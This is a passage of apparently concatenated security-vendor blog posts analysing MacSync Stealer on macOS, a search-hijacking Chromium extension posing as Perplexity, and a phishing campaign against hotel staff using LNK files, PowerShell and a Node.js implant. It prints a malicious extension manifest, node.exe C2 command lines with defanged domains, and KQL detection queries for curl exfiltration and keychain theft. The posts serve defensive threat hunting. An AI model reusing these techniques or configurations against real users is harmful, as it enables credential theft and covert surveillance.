Observed execution began from an interactive zsh terminal session, where curl retrieved payload content over a /curl/ path before the payload was decoded or unpacked using native utilities such as Base64 and gunzip. This phase is useful for hunting because the combination of user-facing shell activity, curl retrieval, and unpacking behavior is more durable than any single download domain. 

Phase 2: AppleScript-assisted execution

The payload used osascript to run AppleScript-assisted shell commands, blending macOS scripting with Unix command-line tooling. Observed activities included sh, cp, rm, curl, mkdir, and killall operations. This phase creates hunting value when osascript launches shell activity that quickly chains into network communication, staging, or cleanup behavior. 

Phase 3: Discovery and data collection

After execution, the malware collected host and user information, enumerated running processes and system details, and checked for cryptocurrency wallet applications, including Ledger and Trezor-related local artifacts. It then targeted macOS Keychain material, browser Safe Storage keys, browser credentials, cookies, login databases, session data, IndexedDB, LevelDB, extension storage, Safari data, Apple Notes, SSH keys, AWS credentials, Kubernetes configurations, browser profiles, browsing history, and sensitive files from common user directories. The hunting value comes from correlating sensitive data access with the later staging and upload sequence. 

Phase 4: Data staging and compression

Collected data was staged under /tmp/sync* paths and compressed into /tmp/osalogging.zip before uploading. The archive was split into multiple chunks, creating a repeatable staging and transfer pattern that defenders can correlate with preceding collection behavior and subsequent outbound curl traffic. 

Phase 5: Exfiltration over rotating infrastructure

The staged archive was uploaded through rotating infrastructure using curl and HTTP PUT requests. Observed requests included –data-binary, API-key headers, macOS User-Agent string, upload_id values, chunk_index values, and total_chunks parameters. These upload traits confirmed active data exfiltration and provided durable hunting pivots even when domains rotated. 

Phase 6: Cleanup and evidence removal

After exfiltration, the malware removed temporary archives, staging folders, lock files, and other artifacts. Although this cleanup reduced on-disk evidence, the sequence of archive creation, chunked upload, and deletion can still provide a useful behavioral correlation for defenders. 

Mitigation and protection guidance

The attack chain findings point to three mitigation priorities.

1. Organizations should reduce the risk of user-initiated Terminal execution by educating users and using platform controls that interrupt suspicious paste-and-run workflows. Microsoft’s ClickFix reporting recommends educating users not to run commands from untrusted sources and monitoring suspicious Terminal or shell activity associated with these lures. 

2. Defenders should monitor post-execution behavior when initial prevention does not stop activity, including suspicious shell usage, AppleScript-assisted commands, curl-based payload retrieval, credential-store access, temporary staging paths, and archive creation.  

3. Detection should include exfiltration monitoring for HTTP PUT uploads, –data-binary usage, upload identifiers, chunk indexes, total chunk counts, and recurring /gate URI patterns that can reveal active data theft even when C2 domains rotate. 

In macOS 26.4 and later, Apple introduced protections designed to disrupt ClickFix-style attacks, including warnings that can block potentially malicious Terminal pastes and XProtect checks that can prevent detected malicious scripts from running.

When a user attempts to paste a potentially malicious command into Terminal, macOS displays a warning that blocks the paste and explains that scammers may use Terminal instructions to compromise the Mac or the user’s privacy. 

“Possible malware, Paste blocked” 

“Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.” 

Organizations can also follow these recommendations to mitigate threats associated with this threat: 

• Reduce Terminal execution risk. Educate users not to paste or run Terminal commands from untrusted websites, chat messages, apps, files, or phone-based instructions. 

• Monitor suspicious Terminal usage. Alert on unusual Terminal, zsh, or shell sessions that retrieve payloads, decode content, or execute commands shortly after user interaction. 

• Detect native tool abuse. Flag unusual sequences of macOS utilities such as curl, Base64, gunzip, osascript, cp, rm, mkdir, and killall. 

• Hunt for post-execution behavior. Correlate AppleScript-assisted shell activity, curl-based payload retrieval, credential-store access, temporary staging paths, archive creation, and cleanup behavior. 

• Protect credential stores. Detect unauthorized access to Keychain material, browser credential stores, SSH keys, cloud credentials, and sensitive files in common user directories. 

• Monitor data staging. Alert on sensitive artifact collection followed by compression, archive creation, or staging under temporary paths such as /tmp/sync*. 

• Monitor exfiltration patterns. Identify curl-based HTTP PUT uploads that use –data-binary, API-key headers, upload_id, chunk_index, total_chunks, or recurring /gate URI patterns. 

• Restrict suspicious outbound traffic. Block or investigate connections to suspicious, newly registered, or behaviorally related domains while continuing to hunt on request patterns that may persist after domains rotate. 

Microsoft also recommends the following mitigations to reduce the impact of this threat. 

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats. 

• Enable network protection and web protection to help prevent connections to malicious websites, phishing pages, and attacker-controlled infrastructure used for malware delivery, command-and-control communication, and data exfiltration. 

• Enable tamper protection to help prevent unauthorized changes to Microsoft Defender security settings and reduce the risk of attackers disabling or weakening endpoint protections. 

Microsoft Defender XDR detections 

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence. 

 Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat, malicious activity, infrastructure, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments. 

Microsoft Defender XDR Threat analytics

From ClickFix to code signed: the quiet shift of MacSync Stealer malware. 

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat. 

Advanced hunting queries

The following advanced hunting queries can help identify MacSync Stealer behaviors observed with this threat. Use these queries as starting points and tune the time range, device scope, and allowlists for your environment. 

Hunting objective: Identify rotating infrastructure by request shape

This query looks for curl-initiated network activity that matches recurring MacSync Stealer URI paths and upload parameters across domains. 

DeviceNetworkEvents 
| where InitiatingProcessFileName =~ "curl" 
| where RemoteUrl has_any ("/curl/", "/dynamic?txd=", "/gate?buildtxd=", "upload_id=", "chunk_index=", "total_chunks=")

Hunting objective: Detect payload retrieval over /curl/ 

This query focuses on initial payload retrieval behavior where curl reaches a /curl/ path, helping identify delivery activity without relying on a specific domain. 

DeviceNetworkEvents 
| where InitiatingProcessFileName =~ "curl" 
| where RemoteUrl has "/curl/" 

Hunting objective: Detect chunked exfiltration over curl HTTP PUT 

This query targets active exfiltration behavior by looking for curl HTTP PUT uploads that use –data-binary and chunked upload parameters. 

DeviceNetworkEvents 
| where InitiatingProcessFileName =~ "curl" 
| where InitiatingProcessCommandLine has_all ("-X PUT", "--data-binary") 
| where RemoteUrl has_any ("upload_id=", "chunk_index=", "total_chunks=", "/gate?buildtxd=") 

Hunting objective: Find curl command lines with MacSync infrastructure traits 

This query searches endpoint process telemetry for curl command lines containing the headers, URI paths, and upload parameters used as durable behavioral pivots. 

DeviceProcessEvents 
| where FileName =~ "curl" 
| where ProcessCommandLine has_any ("api-key", "/curl/", "/dynamic", "/gate", "--data-binary", "upload_id=", "chunk_index=", "total_chunks=", "%{http_code}") 

Hunting objective: Identify AppleScript-launched shell activity 

This query looks for osascript activity that launches shell commands or native utilities commonly seen in the observed post-execution chain. 

DeviceProcessEvents 
| where FileName =~ "osascript" 
| where ProcessCommandLine has_any ("sh -c", "cp ", "rm ", "curl ", "mkdir ", "killall", "dscl") 

MITRE ATT&CK techniques observed

The following MITRE ATT&CK mappings reflect behaviors observed during the MacSync Stealer investigation. The mapping emphasizes the same behavioral pivots used throughout this blog, including shell and AppleScript-assisted execution, payload retrieval, credential and browser data theft, sensitive file collection, staging, chunked exfiltration, cleanup, and rotating infrastructure. 

Execution 

• T1059.004 Command and Scripting Interpreter: Unix Shell | An interactive zsh terminal session was used to run curl commands, decode or unpack payload content with base64 and gunzip, and execute shell commands. 

• T1105 Ingress Tool Transfer | curl downloaded payload content from attacker-controlled infrastructure using recurring payload retrieval paths. 

Discovery 

• T1082 System Information Discovery | The malware collected host and user information during environment discovery. 

• T1057 Process Discovery | The malware enumerated running processes and system configuration before continuing collection and credential-access activity. 

• T1518 Software Discovery | The malware checked for cryptocurrency wallet applications such as Ledger and Trezor. 

Credential Access 

• T1555.001 Credentials from Password Stores: Keychain | The malware created a temporary keychain-grabbing script, attempted to extract browser Safe Storage keys, and accessed or attempted to unlock the macOS Keychain. 

• T1555.003 Credentials from Password Stores: Credentials from Web Browsers | The malware collected browser credentials, cookies, login databases, session data, IndexedDB, LevelDB, and extension storage from Chrome, Brave, Edge, Opera, Vivaldi, Arc, Chromium, and other browsers. 

Collection 

• T1005 Data from Local System | The malware searched Downloads, Documents, and Desktop and collected sensitive file types including PDF, DOCX, TXT, KEY, PEM, KDBX, OVPN, WALLET, and SEED files. 

• T1552.001 Unsecured Credentials: Credentials in Files | The malware harvested SSH keys, AWS credentials, Kubernetes configurations, browser profiles, Apple Notes, Safari data, and other locally stored secrets. 

• T1560.001 Archive Collected Data: Archive via Utility | Collected data was staged under /tmp/sync* and compressed into /tmp/osalogging.zip before upload. 

Command and Control 

• T1071.001 Application Layer Protocol: Web Protocols | C2 communication used web protocols with recurring paths such as /dynamic?txd= and /gate?buildtxd=, macOS User-Agent strings, API-key headers, and rotating domains. 

Exfiltration 

• T1041 Exfiltration Over C2 Channel | Collected data was uploaded to attacker-controlled infrastructure using recurring /gate URI patterns and chunked HTTP PUT requests. 

• T1020 Automated Exfiltration | The malware automated upload activity using curl with HTTP PUT, –data-binary, upload identifiers, chunk_index, and total_chunks parameters. 

• T1030 Data Transfer Size Limits | The archive was split into multiple chunks before upload, as shown by repeated chunk_index and total_chunks parameters in exfiltration requests. 

Defense Evasion 

• T1070.004 Indicator Removal: File Deletion | Temporary archives, staging folders, lock files, and other artifacts were removed after exfiltration. 

• T1140 Deobfuscate/Decode Files or Information | Payload content was decoded or unpacked using base64 and gunzip before execution. 

Behavioral Hunting Pivots 

The following command-line patterns, URL paths, and URL parameters were observed in activity consistent with MacSync Stealer. Use these durable behavioral pivots with process and network context to investigate related activity as infrastructure rotates; then use the point-in-time domain indicators in the IOC section to enrich and validate those findings. 

Indicators of compromise (IOC)

The following domain indicators were observed in activity consistent with MacSync Stealer. Treat them as point-in-time evidence: use them to enrich and validate matches from the behavioral pivots above, and correlate any hits with process and network context because related infrastructure may rotate quickly. 

References

References used for external context and related defensive guidance: 

• MacSync Stealer: C2 Infrastructure Rotation – RST Cloud. RST Cloud, May 8, 2026. 

• ClickFix campaign uses fake macOS utilities lures to deliver …. Microsoft, May 6, 2026. 

• Protecting against malware in macOS – Apple Support  December 19, 2024 

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 

The post Hunting MacSync Stealer infrastructure through behavioral pivots appeared first on Microsoft Security Blog.

Microsoft Threat Intelligence has identified a malicious Chromium-based extension that spoofs the AI-powered answer engine Perplexity AI to trick unsuspecting users into installing it. Based on our observation of the extension’s behavior, we assess its primary objective to be search traffic interception and data collection, which might enable downstream use cases such as profiling, targeted advertising, or other forms of misuse depending on operator intent. Through responsible disclosure, we reported this extension to Google, and it has been taken down as of this writing. We’d like to thank Google for responding to and addressing this issue.

Browser extensions continue to represent a significant attack surface within enterprise and consumer ecosystems due to their privileged access to browser APIs, user traffic, and browsing behavior. However, unlike traditional search hijackers that rely primarily on aggressive monetization or visible redirection, this extension combines Manifest Version 3 (MV3) capabilities with intermediary infrastructure and declarativeNetRequest (DNR) rules to transparently intercept Omnibox queries while preserving the appearance of legitimate search results. In addition, while browser search hijacking is not a new threat category, this research highlights how threat actors continue to operationalize AI to accelerate attacks—specifically the use of AI brands as a social engineering vector.

The extension routes both full search queries and real-time search suggestions (typed characters) through attacker-controlled infrastructure hosted on a domain not associated with the legitimate vendor, before redirecting users to expected search providers. While the observed activity demonstrates the capability to capture user input and browsing signals, no evidence in our analysis definitively confirms additional objectives such as credential theft. However, the level of access and permissions requested introduces elevated privacy and security risk.

As threat actors continue to capitalize on emerging industry trends such as AI and leverage trusted branding to improve the success rates of their campaigns, organizations should strengthen user awareness training and similar programs to educate end users about the latest social engineering tactics. They should also implement a layered security strategy that correlates available indicators with behavioral signals and other threat intelligence.

In this blog post, we provide our analysis of the browser extension—including key indicators of malicious behavior and findings from our dynamic analysis. We also provide mitigation and protection guidance, as well as advanced hunting queries, to help organizations detect and defend against this threat.

Extension overview

The extension we analyzed has the following attributes:

It appears to spoof the publicly available Perplexity service by using similar branding elements and a typosquatted domain. The said domain mismatch might increase the likelihood of user confusion regarding the extension’s source or affiliation.

Based on our analysis, the extension has been classified as malicious due to observed search redirection behavior. The analyzed extension’s manifest declares itself as the following:

"search_provider": {
    "name": "Perplexity Search"
}

It uses the following infrastructure:

"search_url": https://perplexity-ai[.]online/search/{searchTerms}

The extension also forces itself as the browser default search provider:

"is_default": true

At first glance, the extension appears to provide AI-enhanced search functionality. However, analysis of the manifest reveals multiple suspicious behaviors and permissions inconsistent with legitimate AI search assistants.

Key indicators of malicious behavior

Typosquatted infrastructure

The extension uses the domain perplexity-ai[.]online, which is similar to the legitimate Perplexity AI service’s domain (perplexity[.]ai). This pattern is consistent with domain naming approaches often frequently observed in phishing campaigns, search hijackers, fake AI applications, and extension malware.

Previous research has discussed how browser extensions might use branding similar to trusted services because:

• Users associate AI tools with productivity and legitimacy
• AI-related extensions currently experience high install rates
• Users are less suspicious of browser-integrated AI assistants

Browser search hijacking

The extension overrides browser search settings through chrome_settings_overrides to replace the browser default search provider as well as intercept and redirect all queries in a Chromium browser’s Omnibox to an intermediary infrastructure not associated with the official vendor domain:

"chrome_settings_overrides": { 
  "search_provider": { 
    "name": "Perplexity Search", 
    "keyword": "perplexity", 
    "is_default": true, 
    "search_url": "hxxps://perplexity-ai[.]online/search/{searchTerms}", 
    "favicon_url": "hxxps://perplexity-ai[.]online/favicon.ico", 
    "suggest_url": "hxxps://perplexity-ai[.]online/search?output=firefox&q={searchTerms}" 
  } 
} 

Critically, the suggest_url field also routes through perplexity-ai[.]online. This means real-time search suggestions—every character typed in the address bar—are transmitted to an attacker-controlled infrastructure before any redirect occurs. This constitutes active user surveillance (keystroke-level capture) beyond simple search redirection.

Although Chromium-based browsers permit search provider overrides for legitimate use cases, Google explicitly states that extensions requesting settings overrides along with additional powerful capabilities might violate the browser’s single-purpose policy.

Abuse of declarativeNetRequest

The extension requests powerful DNR permissions that enable traffic redirection, URL rewriting, and selective request filtering, which aren’t consistent with expected AI assistant behavior:

"permissions": 
[
  "declarativeNetRequest",
  "declarativeNetRequestFeedback",
  "declarativeNetRequestWithHostAccess"
]

These permissions provide specific capabilities exploited by this extension:

• declarativeNetRequest: Redirects all main_frame requests matching perplexity-ai[.]online/search/(.*) to legitimate search engines, creating a two-hop chain where the attacker server processes the query before the browser is redirected.
• declarativeNetRequestFeedback: Allows the extension to programmatically monitor which redirect rules fire, effectively confirming exfiltration success for each intercepted query.
• declarativeNetRequestWithHostAccess: Combined with host_permissions for ://perplexity-ai.online/, enables full request interception capabilities on the attacker-controlled domain. This behavior might enable traffic redirection and related activity depending on implementation.

The use of these permissions in an AI-themed search extension is particularly concerning because a legitimate search UI generally doesn’t require advanced network-manipulation APIs.

Search rewrite infrastructure

Multiple rule sets indicate modular traffic hijacking capability across providers such as Perplexity, Google, and Bing:

"rule_resources": [
  {
    "id": "perplexity",
    "enabled": true,
    "path": "perplexity-rules.json"
  },
  {
    "id": "bing",
    "enabled": false,
    "path": "bing-rules.json"
  },
  {
    "id": "google",
    "enabled": false,
    "path": "google-rules.json"
  }
]

This architecture enables modular traffic redirection controlled by the background service worker. The two-hop redirect design is critical to understanding the threat model:

1. Browser sends query to perplexity-ai[.]online (attacker server logs query, HTTP headers, IP, user-agent)
2. DNR rule immediately redirects browser to legitimate engine (perplexity[.]ai, google[.]com, or bing[.]com)
3. User sees normal search results, completely unaware of interception

The data theft occurs on hop 1, not on the redirect (hop 2). The server-side code (server.js) shipped with the extension explicitly logs all incoming requests including full headers, confirming the data collection intent. This activity aligns with behaviors observed in modern browser hijackers and ad-fraud ecosystems.

Host permissions

The extension requests host access to intermediary infrastructure not associated with the official vendor domain, enabling data interception and telemetry exposure:

"host_permissions":
 [
  "*://perplexity-ai[.]online/*"
]

Content security policy

The extension declares the following:

"content_security_policy": {"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self';"} 

The inclusion of wasm-unsafe-eval is unusual for a search-redirect extension because it permits WebAssembly (Wasm) execution within extension pages. Although no Wasm modules were observed in version 2.2, the presence of this directive enables future Wasm-based functionality without requiring modifications to the extension’s content security policy configuration.

Dynamic analysis findings

Upon installation, the extension opens hxxps://extension.tilda[.]ws/perplexityai, presenting target users with an onboarding page designed to resemble a legitimate product setup flow. Similar onboarding techniques have been observed in extension-based adware and search-redirection campaigns, where they’re used to increase user trust and reduce scrutiny of subsequent browser modifications.

The runtime workflow we’ve observed demonstrates browser search redirection behavior:

1. User enters search query into the Omnibox.
2. Browser request routed to perplexity-ai[.]online.
   • Server logs full request: query string, HTTP headers, user-agent, and source IP address.
   • suggest_url captures real-time keystrokes during typing (before Enter is pressed)
3. Ruleset executes redirect.
4. User is delivered to selected search provider.

Unusually, this extension ships with its own server-side infrastructure code, revealing the complete attack architecture:

• server.js (Node.js proxy)
  • Logs all incoming requests including method, URL, and full HTTP headers.
  • Proxies’ suggestion queries to suggestqueries.google[.]com.
  • Adds permissive CORS headers (Access-Control-Allow-Origin: *) to enable cross-origin responses.
• nginx.conf
  • Configures perplexity-ai[.]online with Let’s Encrypt SSL.
  • Proxies /search endpoint to Google suggestions API.
  • Filters CORS origins exclusively to *.oda[.]digital (operator infrastructure).
  • Forces HTTP-to-HTTPS redirect.

This server-side code is definitive evidence that query interception and logging is architecturally intentional, not an incidental by-product of the redirect mechanism.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Restrict the installation of untrusted browser extensions by enforcing allow‑listing and enterprise policy controls within managed environments.
• Encourage users to verify extension publishers, domains, and branding—particularly for AI-themed tools commonly leveraged in social engineering scenarios.
• Monitor unauthorized changes to browser search settings, unusual extension permissions, and outbound traffic to intermediary or non-standard domains associated with search activity. Controls that identify or flag extensions requesting search override capabilities or network-related APIs can help reduce potential risk exposure. Continuous inspection of extension behavior, alongside reputation-based methods, might also provide improved visibility into anomalous or potentially unwanted activity.
• Leverage platform-level protections to further reduce risk:
  • Microsoft Edge includes built-in capabilities designed to identify and respond to potentially malicious or unwanted extensions that attempt to manipulate browser behavior, including search redirection. Depending on configuration and risk signals, Edge might restrict or block extension execution.
    The Microsoft Edge Add-ons store also uses automated and manual review processes to assess extensions before and after publication, while ongoing monitoring enables identification and removal of extensions that violate policies—helping reduce user exposure to emerging threats.
  • Microsoft Defender SmartScreen provides reputation-based protection for URLs and web content, helping detect and block access to domains associated with malicious or deceptive activity.

Microsoft Defender detections

Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence. 

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:   

• Incident investigation: Assist analysts in investigating alerts, correlating signals, and supporting analysis of extension-related activity to intermediary domains such as perplexity-ai[.]online.
• Microsoft User analysis: Support analysis of potentially impacted users whose browser search activity has been intercepted or redirected by malicious extensions.

Advanced hunting queries

NOTE: The following sample queries lets you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential related indicators for more than a week, go to the Advanced Hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.

Look for the presence of the malicious extension through file artifacts:

DeviceFileEvents
| where FileName has "flkebkiofojicogddingbdmcmkpbplcd" 
   or FolderPath has "flkebkiofojicogddingbdmcmkpbplcd"
| summarize Count = count() by DeviceName, DeviceId, FolderPath

Look for outbound network communication to intermediary infrastructure not associated with the official vendor domain:

DeviceNetworkEvents
| where RemoteUrl has "perplexity-ai.online"
| summarize Count = count() by DeviceName, DeviceId, InitiatingProcessAccountName, RemoteUrl

MITRE ATT&CK techniques observed

Indicators of compromise

References

• Phishing Via Typosquatting and Brand Impersonation: Trends and Tactics – Zscaler
• Overriding Chrome Settings

This research is provided by Microsoft Defender Security Research,  Asutosha Panigrahi, Ashwani Kumar, Mohd Sadique, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Chromium extension uses AI‑related branding to redirect browser search appeared first on Microsoft Security Blog.

Microsoft Threat Intelligence has identified an active multi-stage intrusion campaign targeting organizations in the hospitality and hotel industry since April 2026. We’ve observed this activity through aggregated threat intelligence and security signals across multiple organizations in Europe and Asia. Microsoft has not attributed this campaign to a known threat actor. 

The campaign uses photo-themed ZIP archives that the target users download through the browser. These archives contain fake image shortcut files that, when launched, start an attack chain that relies on obfuscated PowerShell, a Node.js-based implant, dual registry persistence, and command-and-control (C2) communications over non-standard ports. As of this writing, the campaign’s post-compromise activities include C2 beaconing, forced shutdowns, and compilation of portable executable (PE) payloads. While the campaign’s ultimate objective remains unclear, we assess that the threat actor’s investment in ensuring obfuscation and persistence could indicate that they’re preparing the victim devices for more follow-on activities. 

In late May 2026, we observed the threat actor misusing legitimate services—including the cloud-based scheduling platform Calendly’s email notification infrastructure and Google’s URL redirect functionality—to deliver phishing emails with multilingual lures and subject lines (for example, guest complaints and room inquiries) designed to convince hospitality staff to open the embedded malicious link and download the ZIP archive. These phishing emails attempt to bypass conventional authentication checks through a technique we describe as authentication laundering: by routing phishing messages through a trusted service’s sending infrastructure, the threat actor can make malicious messages appear similar to legitimate notifications to email authentication defenses. 

We’ve observed the campaign evolving in two distinct waves. The first wave (hereinafter referred to as Wave 1) used shortcut files named IMG-<random numbers>.png.lnk, while the second one (Wave 2) introduced a naming shift to PHOTO-<random numbers>.png.lnk. Wave 2 also introduced a new attack chain stage in which the PowerShell downloader triggered dynamic .NET DLL compilation through csc.exe, and the actor expanded its domain infrastructure to include .cfd domains hosted behind Cloudflare. 

This blog summarizes the campaign’s Wave 1 and Wave 2 attack chains and provides Microsoft Defender detections and recommendations. It’s intended to share threat intelligence to help organizations better understand, identify, and defend against similar attack techniques. The activity described reflects observed patterns and behaviors and is provided to support defensive security efforts. 

Attack chain overview

The campaign follows a multi-stage attack chain with limited variation in overall behavior, even as the actor changed its PowerShell obfuscation and delivery refinements between waves.  

Initial access and user execution 

The campaign begins with delivery of a browser-downloaded archive with a file name that uses the pattern photo-<random numbers>.zip. In one observed activity, links to these archives were delivered through phishing emails. We assess that this file naming convention was designed to appear ordinary yet relevant to hospitality workflows, which commonly exchange guest photos, reservation-related images, or document snapshots. 

In Wave 1, the archive contained a fake image shortcut named IMG-<random numbers>.png.lnk, which masqueraded as a PNG file while remaining executable content. In Wave 2, the threat actor introduced a naming shift to PHOTO-<random numbers>.png.lnk (uppercase PHOTO prefix). Successful execution depended on a target user opening what appeared to be an image. 

The following table lists representative delivery artifacts observed across impacted environments in both campaign waves. The file sizes of the LNK files consistently fell within 1,989 to 2,079 bytes, suggesting the same builder tool. 

Observed LNK and ZIP naming patterns across both campaigns. 

Observed victim device naming patterns, including reception- and front office-associated systems and hotel-named devices, confirm the threat actor’s focus on staff likely to interact with image or document attachments as part of day-to-day operations. Some of the user account names observed across impacted environments include the following strings, which refer to words in different languages such as English, French, Polish, Czech, and Spanish:  

• reception 

• frontdesk 

• reservations 

• accueil  

• recepcja 

• recepce 

• frontoffice  

Phishing infrastructure: Authentication laundering through legitimate services 

Beginning late May 2026, we observed that this campaign’s initial access mechanism also abuses legitimate web services to bypass email authentication controls and obscure the true destination of phishing links. This observation aligns with the previously published findings by other security researchers. 

The threat actor uses Calendly’s email notification system and Google’s URL redirect functionality to construct a multi-hop delivery chain in which the direct Calendly path passes Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and Domain-based Message Authentication, Reporting, and Conformance (DMARC) checks. 

Lure themes and language targeting 

The sender display name across all observed emails is “Booking Manager (via Calendly),” a social engineering choice that appears designed to exploit hospitality staff’s familiarity with booking and scheduling workflows. 

Across the relayed messages, Microsoft observed the following small set of recurring social-engineering themes delivered in Japanese, Danish, and Dutch:  

• Guest complaints 

• Bedbug (Cimex) infestation reports 

• Verification call notices 

• Room condition inquiries 

• Stay review requests 

These lures are deliberately generic and non-personalized: every subject references an anonymous “guest,” “facility,” or “your accommodation,” and none contains a recipient name, guest name, or organization name. This is consistent with high-volume, list-driven distribution rather than tailored spear-phishing. The threat actor relies on urgency and reputational pressure (complaints, “final warning,” health-authority inspection, possible suspension) to drive target hospitality staff to click. 

Phishing lure themes by language, listed by observed prevalence. 

The threat actor reuses the same themes across all three languages, with Japanese as the most prevalent. Notably, unfilled template placeholders—such as a literal ID token in the Danish variant—appeared in some subjects, indicating automated, templated generation. 

Use of Calendly notification infrastructure as a phishing relay 

The threat actor uses a threat actor-controlled Calendly account associated with the subdomain em1618.calendly.com to relay phishing emails to hospitality targets. Authentication results differ by delivery path. 

Authentication results for emails sent through the direct Calendly path. The checks pass because the messages are sent through authorized Calendly-associated sending infrastructure; this does not validate the intent or safety of the message content. 

This technique, which we describe as authentication laundering in this context, exploits the trust model of email authentication. SPF, DKIM, and DMARC verify that an email was sent from authorized infrastructure for a given domain. When the sending domain is a legitimate service and the threat actor controls the message content, these checks confirm the sender is authorized while saying nothing about the intent of the message. 

Multi-hop redirect chain 

Each phishing email contains a Calendly redirect URL that initiates a multi-hop chain intended to obscure the final destination from users and automated URL analysis. The embedded Calendly link routes victims through a four-hop chain before reaching the payload: 

• Step 1: calendly[.]com/url?q=hxxps://share[.]google/TOKEN → HTTP 302 

• Step 2: share[.]google/TOKEN → HTTP 302 

• Step 3: www.google[.]com/share_google?q=TOKEN → HTTP 301 

• Step 4: photo-*[.]cfd → Phishing landing page (Cloudflare challenge gate) 

Calendly’s Link Safety Service interstitial (url?q=) was used as the first hop and Google’s share[.]google redirect as the second. The final .cfd landing pages were freshly registered (for example, photo-26654[.]cfd was 17 days old at the time of analysis), Cloudflare-fronted, and gated behind a Cloudflare Turnstile (“verify you are human”) challenge that doubles as an anti-analysis and geo-gating mechanism before serving the photo-themed ZIP. 

Microsoft assesses that this redirect architecture serves multiple evasion purposes: 

• Fragmentation of URL reputation: No single URL in the chain is inherently malicious at the time of delivery 

• Abuse of Google’s open redirect: The share.google → NULLwww.google.com/share_google redirect leverages Google infrastructure, adding trusted reputation to the chain 

The threat actor maintains a second delivery variant that bypasses the share.google intermediate step, linking directly from a Calendly redirect URL to the phishing domain (calendly[.]com/url?q=photo-*[.]cfd). Microsoft observed that both variants are active simultaneously, with the same Calendly user UUIDs appearing across both paths. This supports the assessment that a single operator is managing the parallel delivery mechanisms. 

PowerShell-based first stage 

Once the malicious shortcut is opened, the next-stage payload invokes PowerShell and launches an obfuscated BigInt decoder. Across the campaign, the PowerShell stage consistently decodes data and then downloads an additional .ps1 file. Microsoft observed a repeating pattern of BigInt decoder →  Invoke-WebRequest → .ps1. The full obfuscation evolution across seven phases is detailed in the Obfuscation evolution section of this blog. 

The decoded URL points to the campaign’s download domains. In the validated chain, the .ps1 file is retrieved from the photo-*.cfd landing domain 

.NET DLL compilation (Wave 2) 

In Wave 2, we observed a new intermediate stage between the PowerShell download and Node.js deployment. The downloaded .ps1 script triggers dynamic .NET compilation through csc.exe (the C# compiler), which in turn invokes cvtres.exe (the resource-to-object converter). This sequence produces small DLL files with random names.  

Representative observed artifacts: 

csc.exe → cvtres.exe → <random>.dll (3,072 bytes) 

Figure 2. Wave 2 .NET DLL compilation chain. The compiled DLL was created but wasn’t observed being loaded through rundll32 or regsvr32 in available telemetry. This stage might be preparatory or conditional. 

Microsoft assesses that this stage wasn’t present in Wave 1 and represents an expansion in the attack chain. 

Script staging and Node.js implant deployment 

After decoding and retrieval, the downloaded PowerShell script runs from the %TEMP% folder. This staging step appears to be transitional rather than final, enabling subsequent download or launch of the campaign’s Node.js component.  

We observed the next step as execution of node.exe from a user-space path. The Node runtime version observed across both waves is node-v24.13.0-win-x64 (SHA-256: d14ba95cdce1ef7dc9ad3ac74949ca5db38b27378ee30f30a23cf26f9e875a11, 89.9 MB – downloaded from the legitimate nodejs[.]org site).  

Figure 3 shows representative observed command lines: 

"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\E2HPVoYGA77RECeb.js safedocphoto[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\jVXvdhxNfcqHuSf.js recallnine[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\c4yCFRzE.js kentjerk[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\FfXznFDs8.js photodoc-secure[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\f76qtHrP.js kelopins[.]info

